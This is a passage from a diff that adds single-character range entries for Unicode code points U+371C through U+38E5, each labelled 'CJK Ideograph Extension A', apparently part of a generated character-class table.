+ ["\u371C", "\u371C"], /* CJK Ideograph Extension A */
+ ["\u371D", "\u371D"], /* CJK Ideograph Extension A */
+ ["\u371E", "\u371E"], /* CJK Ideograph Extension A */
+ ["\u371F", "\u371F"], /* CJK Ideograph Extension A */
+ ["\u3720", "\u3720"], /* CJK Ideograph Extension A */
+ ["\u3721", "\u3721"], /* CJK Ideograph Extension A */
+ ["\u3722", "\u3722"], /* CJK Ideograph Extension A */
+ ["\u3723", "\u3723"], /* CJK Ideograph Extension A */
+ ["\u3724", "\u3724"], /* CJK Ideograph Extension A */
+ ["\u3725", "\u3725"], /* CJK Ideograph Extension A */
+ ["\u3726", "\u3726"], /* CJK Ideograph Extension A */
+ ["\u3727", "\u3727"], /* CJK Ideograph Extension A */
+ ["\u3728", "\u3728"], /* CJK Ideograph Extension A */
+ ["\u3729", "\u3729"], /* CJK Ideograph Extension A */
+ ["\u372A", "\u372A"], /* CJK Ideograph Extension A */
+ ["\u372B", "\u372B"], /* CJK Ideograph Extension A */
+ ["\u372C", "\u372C"], /* CJK Ideograph Extension A */
+ ["\u372D", "\u372D"], /* CJK Ideograph Extension A */
+ ["\u372E", "\u372E"], /* CJK Ideograph Extension A */
+ ["\u372F", "\u372F"], /* CJK Ideograph Extension A */
+ ["\u3730", "\u3730"], /* CJK Ideograph Extension A */
+ ["\u3731", "\u3731"], /* CJK Ideograph Extension A */
+ ["\u3732", "\u3732"], /* CJK Ideograph Extension A */
+ ["\u3733", "\u3733"], /* CJK Ideograph Extension A */
+ ["\u3734", "\u3734"], /* CJK Ideograph Extension A */
+ ["\u3735", "\u3735"], /* CJK Ideograph Extension A */
+ ["\u3736", "\u3736"], /* CJK Ideograph Extension A */
+ ["\u3737", "\u3737"], /* CJK Ideograph Extension A */
+ ["\u3738", "\u3738"], /* CJK Ideograph Extension A */
+ ["\u3739", "\u3739"], /* CJK Ideograph Extension A */
+ ["\u373A", "\u373A"], /* CJK Ideograph Extension A */
+ ["\u373B", "\u373B"], /* CJK Ideograph Extension A */
+ ["\u373C", "\u373C"], /* CJK Ideograph Extension A */
+ ["\u373D", "\u373D"], /* CJK Ideograph Extension A */
+ ["\u373E", "\u373E"], /* CJK Ideograph Extension A */
+ ["\u373F", "\u373F"], /* CJK Ideograph Extension A */
+ ["\u3740", "\u3740"], /* CJK Ideograph Extension A */
+ ["\u3741", "\u3741"], /* CJK Ideograph Extension A */
+ ["\u3742", "\u3742"], /* CJK Ideograph Extension A */
+ ["\u3743", "\u3743"], /* CJK Ideograph Extension A */
+ ["\u3744", "\u3744"], /* CJK Ideograph Extension A */
+ ["\u3745", "\u3745"], /* CJK Ideograph Extension A */
+ ["\u3746", "\u3746"], /* CJK Ideograph Extension A */
+ ["\u3747", "\u3747"], /* CJK Ideograph Extension A */
+ ["\u3748", "\u3748"], /* CJK Ideograph Extension A */
+ ["\u3749", "\u3749"], /* CJK Ideograph Extension A */
+ ["\u374A", "\u374A"], /* CJK Ideograph Extension A */
+ ["\u374B", "\u374B"], /* CJK Ideograph Extension A */
+ ["\u374C", "\u374C"], /* CJK Ideograph Extension A */
+ ["\u374D", "\u374D"], /* CJK Ideograph Extension A */
+ ["\u374E", "\u374E"], /* CJK Ideograph Extension A */
+ ["\u374F", "\u374F"], /* CJK Ideograph Extension A */
+ ["\u3750", "\u3750"], /* CJK Ideograph Extension A */
+ ["\u3751", "\u3751"], /* CJK Ideograph Extension A */
+ ["\u3752", "\u3752"], /* CJK Ideograph Extension A */
+ ["\u3753", "\u3753"], /* CJK Ideograph Extension A */
+ ["\u3754", "\u3754"], /* CJK Ideograph Extension A */
+ ["\u3755", "\u3755"], /* CJK Ideograph Extension A */
+ ["\u3756", "\u3756"], /* CJK Ideograph Extension A */
+ ["\u3757", "\u3757"], /* CJK Ideograph Extension A */
+ ["\u3758", "\u3758"], /* CJK Ideograph Extension A */
+ ["\u3759", "\u3759"], /* CJK Ideograph Extension A */
+ ["\u375A", "\u375A"], /* CJK Ideograph Extension A */
+ ["\u375B", "\u375B"], /* CJK Ideograph Extension A */
+ ["\u375C", "\u375C"], /* CJK Ideograph Extension A */
+ ["\u375D", "\u375D"], /* CJK Ideograph Extension A */
+ ["\u375E", "\u375E"], /* CJK Ideograph Extension A */
+ ["\u375F", "\u375F"], /* CJK Ideograph Extension A */
+ ["\u3760", "\u3760"], /* CJK Ideograph Extension A */
+ ["\u3761", "\u3761"], /* CJK Ideograph Extension A */
+ ["\u3762", "\u3762"], /* CJK Ideograph Extension A */
+ ["\u3763", "\u3763"], /* CJK Ideograph Extension A */
+ ["\u3764", "\u3764"], /* CJK Ideograph Extension A */
+ ["\u3765", "\u3765"], /* CJK Ideograph Extension A */
+ ["\u3766", "\u3766"], /* CJK Ideograph Extension A */
+ ["\u3767", "\u3767"], /* CJK Ideograph Extension A */
+ ["\u3768", "\u3768"], /* CJK Ideograph Extension A */
+ ["\u3769", "\u3769"], /* CJK Ideograph Extension A */
+ ["\u376A", "\u376A"], /* CJK Ideograph Extension A */
+ ["\u376B", "\u376B"], /* CJK Ideograph Extension A */
+ ["\u376C", "\u376C"], /* CJK Ideograph Extension A */
+ ["\u376D", "\u376D"], /* CJK Ideograph Extension A */
+ ["\u376E", "\u376E"], /* CJK Ideograph Extension A */
+ ["\u376F", "\u376F"], /* CJK Ideograph Extension A */
+ ["\u3770", "\u3770"], /* CJK Ideograph Extension A */
+ ["\u3771", "\u3771"], /* CJK Ideograph Extension A */
+ ["\u3772", "\u3772"], /* CJK Ideograph Extension A */
+ ["\u3773", "\u3773"], /* CJK Ideograph Extension A */
+ ["\u3774", "\u3774"], /* CJK Ideograph Extension A */
+ ["\u3775", "\u3775"], /* CJK Ideograph Extension A */
+ ["\u3776", "\u3776"], /* CJK Ideograph Extension A */
+ ["\u3777", "\u3777"], /* CJK Ideograph Extension A */
+ ["\u3778", "\u3778"], /* CJK Ideograph Extension A */
+ ["\u3779", "\u3779"], /* CJK Ideograph Extension A */
+ ["\u377A", "\u377A"], /* CJK Ideograph Extension A */
+ ["\u377B", "\u377B"], /* CJK Ideograph Extension A */
+ ["\u377C", "\u377C"], /* CJK Ideograph Extension A */
+ ["\u377D", "\u377D"], /* CJK Ideograph Extension A */
+ ["\u377E", "\u377E"], /* CJK Ideograph Extension A */
+ ["\u377F", "\u377F"], /* CJK Ideograph Extension A */
+ ["\u3780", "\u3780"], /* CJK Ideograph Extension A */
+ ["\u3781", "\u3781"], /* CJK Ideograph Extension A */
+ ["\u3782", "\u3782"], /* CJK Ideograph Extension A */
+ ["\u3783", "\u3783"], /* CJK Ideograph Extension A */
+ ["\u3784", "\u3784"], /* CJK Ideograph Extension A */
+ ["\u3785", "\u3785"], /* CJK Ideograph Extension A */
+ ["\u3786", "\u3786"], /* CJK Ideograph Extension A */
+ ["\u3787", "\u3787"], /* CJK Ideograph Extension A */
+ ["\u3788", "\u3788"], /* CJK Ideograph Extension A */
+ ["\u3789", "\u3789"], /* CJK Ideograph Extension A */
+ ["\u378A", "\u378A"], /* CJK Ideograph Extension A */
+ ["\u378B", "\u378B"], /* CJK Ideograph Extension A */
+ ["\u378C", "\u378C"], /* CJK Ideograph Extension A */
+ ["\u378D", "\u378D"], /* CJK Ideograph Extension A */
+ ["\u378E", "\u378E"], /* CJK Ideograph Extension A */
+ ["\u378F", "\u378F"], /* CJK Ideograph Extension A */
+ ["\u3790", "\u3790"], /* CJK Ideograph Extension A */
+ ["\u3791", "\u3791"], /* CJK Ideograph Extension A */
+ ["\u3792", "\u3792"], /* CJK Ideograph Extension A */
+ ["\u3793", "\u3793"], /* CJK Ideograph Extension A */
+ ["\u3794", "\u3794"], /* CJK Ideograph Extension A */
+ ["\u3795", "\u3795"], /* CJK Ideograph Extension A */
+ ["\u3796", "\u3796"], /* CJK Ideograph Extension A */
+ ["\u3797", "\u3797"], /* CJK Ideograph Extension A */
+ ["\u3798", "\u3798"], /* CJK Ideograph Extension A */
+ ["\u3799", "\u3799"], /* CJK Ideograph Extension A */
+ ["\u379A", "\u379A"], /* CJK Ideograph Extension A */
+ ["\u379B", "\u379B"], /* CJK Ideograph Extension A */
+ ["\u379C", "\u379C"], /* CJK Ideograph Extension A */
+ ["\u379D", "\u379D"], /* CJK Ideograph Extension A */
+ ["\u379E", "\u379E"], /* CJK Ideograph Extension A */
+ ["\u379F", "\u379F"], /* CJK Ideograph Extension A */
+ ["\u37A0", "\u37A0"], /* CJK Ideograph Extension A */
+ ["\u37A1", "\u37A1"], /* CJK Ideograph Extension A */
+ ["\u37A2", "\u37A2"], /* CJK Ideograph Extension A */
+ ["\u37A3", "\u37A3"], /* CJK Ideograph Extension A */
+ ["\u37A4", "\u37A4"], /* CJK Ideograph Extension A */
+ ["\u37A5", "\u37A5"], /* CJK Ideograph Extension A */
+ ["\u37A6", "\u37A6"], /* CJK Ideograph Extension A */
+ ["\u37A7", "\u37A7"], /* CJK Ideograph Extension A */
+ ["\u37A8", "\u37A8"], /* CJK Ideograph Extension A */
+ ["\u37A9", "\u37A9"], /* CJK Ideograph Extension A */
+ ["\u37AA", "\u37AA"], /* CJK Ideograph Extension A */
+ ["\u37AB", "\u37AB"], /* CJK Ideograph Extension A */
+ ["\u37AC", "\u37AC"], /* CJK Ideograph Extension A */
+ ["\u37AD", "\u37AD"], /* CJK Ideograph Extension A */
+ ["\u37AE", "\u37AE"], /* CJK Ideograph Extension A */
+ ["\u37AF", "\u37AF"], /* CJK Ideograph Extension A */
+ ["\u37B0", "\u37B0"], /* CJK Ideograph Extension A */
+ ["\u37B1", "\u37B1"], /* CJK Ideograph Extension A */
+ ["\u37B2", "\u37B2"], /* CJK Ideograph Extension A */
+ ["\u37B3", "\u37B3"], /* CJK Ideograph Extension A */
+ ["\u37B4", "\u37B4"], /* CJK Ideograph Extension A */
+ ["\u37B5", "\u37B5"], /* CJK Ideograph Extension A */
+ ["\u37B6", "\u37B6"], /* CJK Ideograph Extension A */
+ ["\u37B7", "\u37B7"], /* CJK Ideograph Extension A */
+ ["\u37B8", "\u37B8"], /* CJK Ideograph Extension A */
+ ["\u37B9", "\u37B9"], /* CJK Ideograph Extension A */
+ ["\u37BA", "\u37BA"], /* CJK Ideograph Extension A */
+ ["\u37BB", "\u37BB"], /* CJK Ideograph Extension A */
+ ["\u37BC", "\u37BC"], /* CJK Ideograph Extension A */
+ ["\u37BD", "\u37BD"], /* CJK Ideograph Extension A */
+ ["\u37BE", "\u37BE"], /* CJK Ideograph Extension A */
+ ["\u37BF", "\u37BF"], /* CJK Ideograph Extension A */
+ ["\u37C0", "\u37C0"], /* CJK Ideograph Extension A */
+ ["\u37C1", "\u37C1"], /* CJK Ideograph Extension A */
+ ["\u37C2", "\u37C2"], /* CJK Ideograph Extension A */
+ ["\u37C3", "\u37C3"], /* CJK Ideograph Extension A */
+ ["\u37C4", "\u37C4"], /* CJK Ideograph Extension A */
+ ["\u37C5", "\u37C5"], /* CJK Ideograph Extension A */
+ ["\u37C6", "\u37C6"], /* CJK Ideograph Extension A */
+ ["\u37C7", "\u37C7"], /* CJK Ideograph Extension A */
+ ["\u37C8", "\u37C8"], /* CJK Ideograph Extension A */
+ ["\u37C9", "\u37C9"], /* CJK Ideograph Extension A */
+ ["\u37CA", "\u37CA"], /* CJK Ideograph Extension A */
+ ["\u37CB", "\u37CB"], /* CJK Ideograph Extension A */
+ ["\u37CC", "\u37CC"], /* CJK Ideograph Extension A */
+ ["\u37CD", "\u37CD"], /* CJK Ideograph Extension A */
+ ["\u37CE", "\u37CE"], /* CJK Ideograph Extension A */
+ ["\u37CF", "\u37CF"], /* CJK Ideograph Extension A */
+ ["\u37D0", "\u37D0"], /* CJK Ideograph Extension A */
+ ["\u37D1", "\u37D1"], /* CJK Ideograph Extension A */
+ ["\u37D2", "\u37D2"], /* CJK Ideograph Extension A */
+ ["\u37D3", "\u37D3"], /* CJK Ideograph Extension A */
+ ["\u37D4", "\u37D4"], /* CJK Ideograph Extension A */
+ ["\u37D5", "\u37D5"], /* CJK Ideograph Extension A */
+ ["\u37D6", "\u37D6"], /* CJK Ideograph Extension A */
+ ["\u37D7", "\u37D7"], /* CJK Ideograph Extension A */
+ ["\u37D8", "\u37D8"], /* CJK Ideograph Extension A */
+ ["\u37D9", "\u37D9"], /* CJK Ideograph Extension A */
+ ["\u37DA", "\u37DA"], /* CJK Ideograph Extension A */
+ ["\u37DB", "\u37DB"], /* CJK Ideograph Extension A */
+ ["\u37DC", "\u37DC"], /* CJK Ideograph Extension A */
+ ["\u37DD", "\u37DD"], /* CJK Ideograph Extension A */
+ ["\u37DE", "\u37DE"], /* CJK Ideograph Extension A */
+ ["\u37DF", "\u37DF"], /* CJK Ideograph Extension A */
+ ["\u37E0", "\u37E0"], /* CJK Ideograph Extension A */
+ ["\u37E1", "\u37E1"], /* CJK Ideograph Extension A */
+ ["\u37E2", "\u37E2"], /* CJK Ideograph Extension A */
+ ["\u37E3", "\u37E3"], /* CJK Ideograph Extension A */
+ ["\u37E4", "\u37E4"], /* CJK Ideograph Extension A */
+ ["\u37E5", "\u37E5"], /* CJK Ideograph Extension A */
+ ["\u37E6", "\u37E6"], /* CJK Ideograph Extension A */
+ ["\u37E7", "\u37E7"], /* CJK Ideograph Extension A */
+ ["\u37E8", "\u37E8"], /* CJK Ideograph Extension A */
+ ["\u37E9", "\u37E9"], /* CJK Ideograph Extension A */
+ ["\u37EA", "\u37EA"], /* CJK Ideograph Extension A */
+ ["\u37EB", "\u37EB"], /* CJK Ideograph Extension A */
+ ["\u37EC", "\u37EC"], /* CJK Ideograph Extension A */
+ ["\u37ED", "\u37ED"], /* CJK Ideograph Extension A */
+ ["\u37EE", "\u37EE"], /* CJK Ideograph Extension A */
+ ["\u37EF", "\u37EF"], /* CJK Ideograph Extension A */
+ ["\u37F0", "\u37F0"], /* CJK Ideograph Extension A */
+ ["\u37F1", "\u37F1"], /* CJK Ideograph Extension A */
+ ["\u37F2", "\u37F2"], /* CJK Ideograph Extension A */
+ ["\u37F3", "\u37F3"], /* CJK Ideograph Extension A */
+ ["\u37F4", "\u37F4"], /* CJK Ideograph Extension A */
+ ["\u37F5", "\u37F5"], /* CJK Ideograph Extension A */
+ ["\u37F6", "\u37F6"], /* CJK Ideograph Extension A */
+ ["\u37F7", "\u37F7"], /* CJK Ideograph Extension A */
+ ["\u37F8", "\u37F8"], /* CJK Ideograph Extension A */
+ ["\u37F9", "\u37F9"], /* CJK Ideograph Extension A */
+ ["\u37FA", "\u37FA"], /* CJK Ideograph Extension A */
+ ["\u37FB", "\u37FB"], /* CJK Ideograph Extension A */
+ ["\u37FC", "\u37FC"], /* CJK Ideograph Extension A */
+ ["\u37FD", "\u37FD"], /* CJK Ideograph Extension A */
+ ["\u37FE", "\u37FE"], /* CJK Ideograph Extension A */
+ ["\u37FF", "\u37FF"], /* CJK Ideograph Extension A */
+ ["\u3800", "\u3800"], /* CJK Ideograph Extension A */
+ ["\u3801", "\u3801"], /* CJK Ideograph Extension A */
+ ["\u3802", "\u3802"], /* CJK Ideograph Extension A */
+ ["\u3803", "\u3803"], /* CJK Ideograph Extension A */
+ ["\u3804", "\u3804"], /* CJK Ideograph Extension A */
+ ["\u3805", "\u3805"], /* CJK Ideograph Extension A */
+ ["\u3806", "\u3806"], /* CJK Ideograph Extension A */
+ ["\u3807", "\u3807"], /* CJK Ideograph Extension A */
+ ["\u3808", "\u3808"], /* CJK Ideograph Extension A */
+ ["\u3809", "\u3809"], /* CJK Ideograph Extension A */
+ ["\u380A", "\u380A"], /* CJK Ideograph Extension A */
+ ["\u380B", "\u380B"], /* CJK Ideograph Extension A */
+ ["\u380C", "\u380C"], /* CJK Ideograph Extension A */
+ ["\u380D", "\u380D"], /* CJK Ideograph Extension A */
+ ["\u380E", "\u380E"], /* CJK Ideograph Extension A */
+ ["\u380F", "\u380F"], /* CJK Ideograph Extension A */
+ ["\u3810", "\u3810"], /* CJK Ideograph Extension A */
+ ["\u3811", "\u3811"], /* CJK Ideograph Extension A */
+ ["\u3812", "\u3812"], /* CJK Ideograph Extension A */
+ ["\u3813", "\u3813"], /* CJK Ideograph Extension A */
+ ["\u3814", "\u3814"], /* CJK Ideograph Extension A */
+ ["\u3815", "\u3815"], /* CJK Ideograph Extension A */
+ ["\u3816", "\u3816"], /* CJK Ideograph Extension A */
+ ["\u3817", "\u3817"], /* CJK Ideograph Extension A */
+ ["\u3818", "\u3818"], /* CJK Ideograph Extension A */
+ ["\u3819", "\u3819"], /* CJK Ideograph Extension A */
+ ["\u381A", "\u381A"], /* CJK Ideograph Extension A */
+ ["\u381B", "\u381B"], /* CJK Ideograph Extension A */
+ ["\u381C", "\u381C"], /* CJK Ideograph Extension A */
+ ["\u381D", "\u381D"], /* CJK Ideograph Extension A */
+ ["\u381E", "\u381E"], /* CJK Ideograph Extension A */
+ ["\u381F", "\u381F"], /* CJK Ideograph Extension A */
+ ["\u3820", "\u3820"], /* CJK Ideograph Extension A */
+ ["\u3821", "\u3821"], /* CJK Ideograph Extension A */
+ ["\u3822", "\u3822"], /* CJK Ideograph Extension A */
+ ["\u3823", "\u3823"], /* CJK Ideograph Extension A */
+ ["\u3824", "\u3824"], /* CJK Ideograph Extension A */
+ ["\u3825", "\u3825"], /* CJK Ideograph Extension A */
+ ["\u3826", "\u3826"], /* CJK Ideograph Extension A */
+ ["\u3827", "\u3827"], /* CJK Ideograph Extension A */
+ ["\u3828", "\u3828"], /* CJK Ideograph Extension A */
+ ["\u3829", "\u3829"], /* CJK Ideograph Extension A */
+ ["\u382A", "\u382A"], /* CJK Ideograph Extension A */
+ ["\u382B", "\u382B"], /* CJK Ideograph Extension A */
+ ["\u382C", "\u382C"], /* CJK Ideograph Extension A */
+ ["\u382D", "\u382D"], /* CJK Ideograph Extension A */
+ ["\u382E", "\u382E"], /* CJK Ideograph Extension A */
+ ["\u382F", "\u382F"], /* CJK Ideograph Extension A */
+ ["\u3830", "\u3830"], /* CJK Ideograph Extension A */
+ ["\u3831", "\u3831"], /* CJK Ideograph Extension A */
+ ["\u3832", "\u3832"], /* CJK Ideograph Extension A */
+ ["\u3833", "\u3833"], /* CJK Ideograph Extension A */
+ ["\u3834", "\u3834"], /* CJK Ideograph Extension A */
+ ["\u3835", "\u3835"], /* CJK Ideograph Extension A */
+ ["\u3836", "\u3836"], /* CJK Ideograph Extension A */
+ ["\u3837", "\u3837"], /* CJK Ideograph Extension A */
+ ["\u3838", "\u3838"], /* CJK Ideograph Extension A */
+ ["\u3839", "\u3839"], /* CJK Ideograph Extension A */
+ ["\u383A", "\u383A"], /* CJK Ideograph Extension A */
+ ["\u383B", "\u383B"], /* CJK Ideograph Extension A */
+ ["\u383C", "\u383C"], /* CJK Ideograph Extension A */
+ ["\u383D", "\u383D"], /* CJK Ideograph Extension A */
+ ["\u383E", "\u383E"], /* CJK Ideograph Extension A */
+ ["\u383F", "\u383F"], /* CJK Ideograph Extension A */
+ ["\u3840", "\u3840"], /* CJK Ideograph Extension A */
+ ["\u3841", "\u3841"], /* CJK Ideograph Extension A */
+ ["\u3842", "\u3842"], /* CJK Ideograph Extension A */
+ ["\u3843", "\u3843"], /* CJK Ideograph Extension A */
+ ["\u3844", "\u3844"], /* CJK Ideograph Extension A */
+ ["\u3845", "\u3845"], /* CJK Ideograph Extension A */
+ ["\u3846", "\u3846"], /* CJK Ideograph Extension A */
+ ["\u3847", "\u3847"], /* CJK Ideograph Extension A */
+ ["\u3848", "\u3848"], /* CJK Ideograph Extension A */
+ ["\u3849", "\u3849"], /* CJK Ideograph Extension A */
+ ["\u384A", "\u384A"], /* CJK Ideograph Extension A */
+ ["\u384B", "\u384B"], /* CJK Ideograph Extension A */
+ ["\u384C", "\u384C"], /* CJK Ideograph Extension A */
+ ["\u384D", "\u384D"], /* CJK Ideograph Extension A */
+ ["\u384E", "\u384E"], /* CJK Ideograph Extension A */
+ ["\u384F", "\u384F"], /* CJK Ideograph Extension A */
+ ["\u3850", "\u3850"], /* CJK Ideograph Extension A */
+ ["\u3851", "\u3851"], /* CJK Ideograph Extension A */
+ ["\u3852", "\u3852"], /* CJK Ideograph Extension A */
+ ["\u3853", "\u3853"], /* CJK Ideograph Extension A */
+ ["\u3854", "\u3854"], /* CJK Ideograph Extension A */
+ ["\u3855", "\u3855"], /* CJK Ideograph Extension A */
+ ["\u3856", "\u3856"], /* CJK Ideograph Extension A */
+ ["\u3857", "\u3857"], /* CJK Ideograph Extension A */
+ ["\u3858", "\u3858"], /* CJK Ideograph Extension A */
+ ["\u3859", "\u3859"], /* CJK Ideograph Extension A */
+ ["\u385A", "\u385A"], /* CJK Ideograph Extension A */
+ ["\u385B", "\u385B"], /* CJK Ideograph Extension A */
+ ["\u385C", "\u385C"], /* CJK Ideograph Extension A */
+ ["\u385D", "\u385D"], /* CJK Ideograph Extension A */
+ ["\u385E", "\u385E"], /* CJK Ideograph Extension A */
+ ["\u385F", "\u385F"], /* CJK Ideograph Extension A */
+ ["\u3860", "\u3860"], /* CJK Ideograph Extension A */
+ ["\u3861", "\u3861"], /* CJK Ideograph Extension A */
+ ["\u3862", "\u3862"], /* CJK Ideograph Extension A */
+ ["\u3863", "\u3863"], /* CJK Ideograph Extension A */
+ ["\u3864", "\u3864"], /* CJK Ideograph Extension A */
+ ["\u3865", "\u3865"], /* CJK Ideograph Extension A */
+ ["\u3866", "\u3866"], /* CJK Ideograph Extension A */
+ ["\u3867", "\u3867"], /* CJK Ideograph Extension A */
+ ["\u3868", "\u3868"], /* CJK Ideograph Extension A */
+ ["\u3869", "\u3869"], /* CJK Ideograph Extension A */
+ ["\u386A", "\u386A"], /* CJK Ideograph Extension A */
+ ["\u386B", "\u386B"], /* CJK Ideograph Extension A */
+ ["\u386C", "\u386C"], /* CJK Ideograph Extension A */
+ ["\u386D", "\u386D"], /* CJK Ideograph Extension A */
+ ["\u386E", "\u386E"], /* CJK Ideograph Extension A */
+ ["\u386F", "\u386F"], /* CJK Ideograph Extension A */
+ ["\u3870", "\u3870"], /* CJK Ideograph Extension A */
+ ["\u3871", "\u3871"], /* CJK Ideograph Extension A */
+ ["\u3872", "\u3872"], /* CJK Ideograph Extension A */
+ ["\u3873", "\u3873"], /* CJK Ideograph Extension A */
+ ["\u3874", "\u3874"], /* CJK Ideograph Extension A */
+ ["\u3875", "\u3875"], /* CJK Ideograph Extension A */
+ ["\u3876", "\u3876"], /* CJK Ideograph Extension A */
+ ["\u3877", "\u3877"], /* CJK Ideograph Extension A */
+ ["\u3878", "\u3878"], /* CJK Ideograph Extension A */
+ ["\u3879", "\u3879"], /* CJK Ideograph Extension A */
+ ["\u387A", "\u387A"], /* CJK Ideograph Extension A */
+ ["\u387B", "\u387B"], /* CJK Ideograph Extension A */
+ ["\u387C", "\u387C"], /* CJK Ideograph Extension A */
+ ["\u387D", "\u387D"], /* CJK Ideograph Extension A */
+ ["\u387E", "\u387E"], /* CJK Ideograph Extension A */
+ ["\u387F", "\u387F"], /* CJK Ideograph Extension A */
+ ["\u3880", "\u3880"], /* CJK Ideograph Extension A */
+ ["\u3881", "\u3881"], /* CJK Ideograph Extension A */
+ ["\u3882", "\u3882"], /* CJK Ideograph Extension A */
+ ["\u3883", "\u3883"], /* CJK Ideograph Extension A */
+ ["\u3884", "\u3884"], /* CJK Ideograph Extension A */
+ ["\u3885", "\u3885"], /* CJK Ideograph Extension A */
+ ["\u3886", "\u3886"], /* CJK Ideograph Extension A */
+ ["\u3887", "\u3887"], /* CJK Ideograph Extension A */
+ ["\u3888", "\u3888"], /* CJK Ideograph Extension A */
+ ["\u3889", "\u3889"], /* CJK Ideograph Extension A */
+ ["\u388A", "\u388A"], /* CJK Ideograph Extension A */
+ ["\u388B", "\u388B"], /* CJK Ideograph Extension A */
+ ["\u388C", "\u388C"], /* CJK Ideograph Extension A */
+ ["\u388D", "\u388D"], /* CJK Ideograph Extension A */
+ ["\u388E", "\u388E"], /* CJK Ideograph Extension A */
+ ["\u388F", "\u388F"], /* CJK Ideograph Extension A */
+ ["\u3890", "\u3890"], /* CJK Ideograph Extension A */
+ ["\u3891", "\u3891"], /* CJK Ideograph Extension A */
+ ["\u3892", "\u3892"], /* CJK Ideograph Extension A */
+ ["\u3893", "\u3893"], /* CJK Ideograph Extension A */
+ ["\u3894", "\u3894"], /* CJK Ideograph Extension A */
+ ["\u3895", "\u3895"], /* CJK Ideograph Extension A */
+ ["\u3896", "\u3896"], /* CJK Ideograph Extension A */
+ ["\u3897", "\u3897"], /* CJK Ideograph Extension A */
+ ["\u3898", "\u3898"], /* CJK Ideograph Extension A */
+ ["\u3899", "\u3899"], /* CJK Ideograph Extension A */
+ ["\u389A", "\u389A"], /* CJK Ideograph Extension A */
+ ["\u389B", "\u389B"], /* CJK Ideograph Extension A */
+ ["\u389C", "\u389C"], /* CJK Ideograph Extension A */
+ ["\u389D", "\u389D"], /* CJK Ideograph Extension A */
+ ["\u389E", "\u389E"], /* CJK Ideograph Extension A */
+ ["\u389F", "\u389F"], /* CJK Ideograph Extension A */
+ ["\u38A0", "\u38A0"], /* CJK Ideograph Extension A */
+ ["\u38A1", "\u38A1"], /* CJK Ideograph Extension A */
+ ["\u38A2", "\u38A2"], /* CJK Ideograph Extension A */
+ ["\u38A3", "\u38A3"], /* CJK Ideograph Extension A */
+ ["\u38A4", "\u38A4"], /* CJK Ideograph Extension A */
+ ["\u38A5", "\u38A5"], /* CJK Ideograph Extension A */
+ ["\u38A6", "\u38A6"], /* CJK Ideograph Extension A */
+ ["\u38A7", "\u38A7"], /* CJK Ideograph Extension A */
+ ["\u38A8", "\u38A8"], /* CJK Ideograph Extension A */
+ ["\u38A9", "\u38A9"], /* CJK Ideograph Extension A */
+ ["\u38AA", "\u38AA"], /* CJK Ideograph Extension A */
+ ["\u38AB", "\u38AB"], /* CJK Ideograph Extension A */
+ ["\u38AC", "\u38AC"], /* CJK Ideograph Extension A */
+ ["\u38AD", "\u38AD"], /* CJK Ideograph Extension A */
+ ["\u38AE", "\u38AE"], /* CJK Ideograph Extension A */
+ ["\u38AF", "\u38AF"], /* CJK Ideograph Extension A */
+ ["\u38B0", "\u38B0"], /* CJK Ideograph Extension A */
+ ["\u38B1", "\u38B1"], /* CJK Ideograph Extension A */
+ ["\u38B2", "\u38B2"], /* CJK Ideograph Extension A */
+ ["\u38B3", "\u38B3"], /* CJK Ideograph Extension A */
+ ["\u38B4", "\u38B4"], /* CJK Ideograph Extension A */
+ ["\u38B5", "\u38B5"], /* CJK Ideograph Extension A */
+ ["\u38B6", "\u38B6"], /* CJK Ideograph Extension A */
+ ["\u38B7", "\u38B7"], /* CJK Ideograph Extension A */
+ ["\u38B8", "\u38B8"], /* CJK Ideograph Extension A */
+ ["\u38B9", "\u38B9"], /* CJK Ideograph Extension A */
+ ["\u38BA", "\u38BA"], /* CJK Ideograph Extension A */
+ ["\u38BB", "\u38BB"], /* CJK Ideograph Extension A */
+ ["\u38BC", "\u38BC"], /* CJK Ideograph Extension A */
+ ["\u38BD", "\u38BD"], /* CJK Ideograph Extension A */
+ ["\u38BE", "\u38BE"], /* CJK Ideograph Extension A */
+ ["\u38BF", "\u38BF"], /* CJK Ideograph Extension A */
+ ["\u38C0", "\u38C0"], /* CJK Ideograph Extension A */
+ ["\u38C1", "\u38C1"], /* CJK Ideograph Extension A */
+ ["\u38C2", "\u38C2"], /* CJK Ideograph Extension A */
+ ["\u38C3", "\u38C3"], /* CJK Ideograph Extension A */
+ ["\u38C4", "\u38C4"], /* CJK Ideograph Extension A */
+ ["\u38C5", "\u38C5"], /* CJK Ideograph Extension A */
+ ["\u38C6", "\u38C6"], /* CJK Ideograph Extension A */
+ ["\u38C7", "\u38C7"], /* CJK Ideograph Extension A */
+ ["\u38C8", "\u38C8"], /* CJK Ideograph Extension A */
+ ["\u38C9", "\u38C9"], /* CJK Ideograph Extension A */
+ ["\u38CA", "\u38CA"], /* CJK Ideograph Extension A */
+ ["\u38CB", "\u38CB"], /* CJK Ideograph Extension A */
+ ["\u38CC", "\u38CC"], /* CJK Ideograph Extension A */
+ ["\u38CD", "\u38CD"], /* CJK Ideograph Extension A */
+ ["\u38CE", "\u38CE"], /* CJK Ideograph Extension A */
+ ["\u38CF", "\u38CF"], /* CJK Ideograph Extension A */
+ ["\u38D0", "\u38D0"], /* CJK Ideograph Extension A */
+ ["\u38D1", "\u38D1"], /* CJK Ideograph Extension A */
+ ["\u38D2", "\u38D2"], /* CJK Ideograph Extension A */
+ ["\u38D3", "\u38D3"], /* CJK Ideograph Extension A */
+ ["\u38D4", "\u38D4"], /* CJK Ideograph Extension A */
+ ["\u38D5", "\u38D5"], /* CJK Ideograph Extension A */
+ ["\u38D6", "\u38D6"], /* CJK Ideograph Extension A */
+ ["\u38D7", "\u38D7"], /* CJK Ideograph Extension A */
+ ["\u38D8", "\u38D8"], /* CJK Ideograph Extension A */
+ ["\u38D9", "\u38D9"], /* CJK Ideograph Extension A */
+ ["\u38DA", "\u38DA"], /* CJK Ideograph Extension A */
+ ["\u38DB", "\u38DB"], /* CJK Ideograph Extension A */
+ ["\u38DC", "\u38DC"], /* CJK Ideograph Extension A */
+ ["\u38DD", "\u38DD"], /* CJK Ideograph Extension A */
+ ["\u38DE", "\u38DE"], /* CJK Ideograph Extension A */
+ ["\u38DF", "\u38DF"], /* CJK Ideograph Extension A */
+ ["\u38E0", "\u38E0"], /* CJK Ideograph Extension A */
+ ["\u38E1", "\u38E1"], /* CJK Ideograph Extension A */
+ ["\u38E2", "\u38E2"], /* CJK Ideograph Extension A */
+ ["\u38E3", "\u38E3"], /* CJK Ideograph Extension A */
+ ["\u38E4", "\u38E4"], /* CJK Ideograph Extension A */
+ ["\u38E5", "\u38E5"], /* CJK Ideograph Extension A */
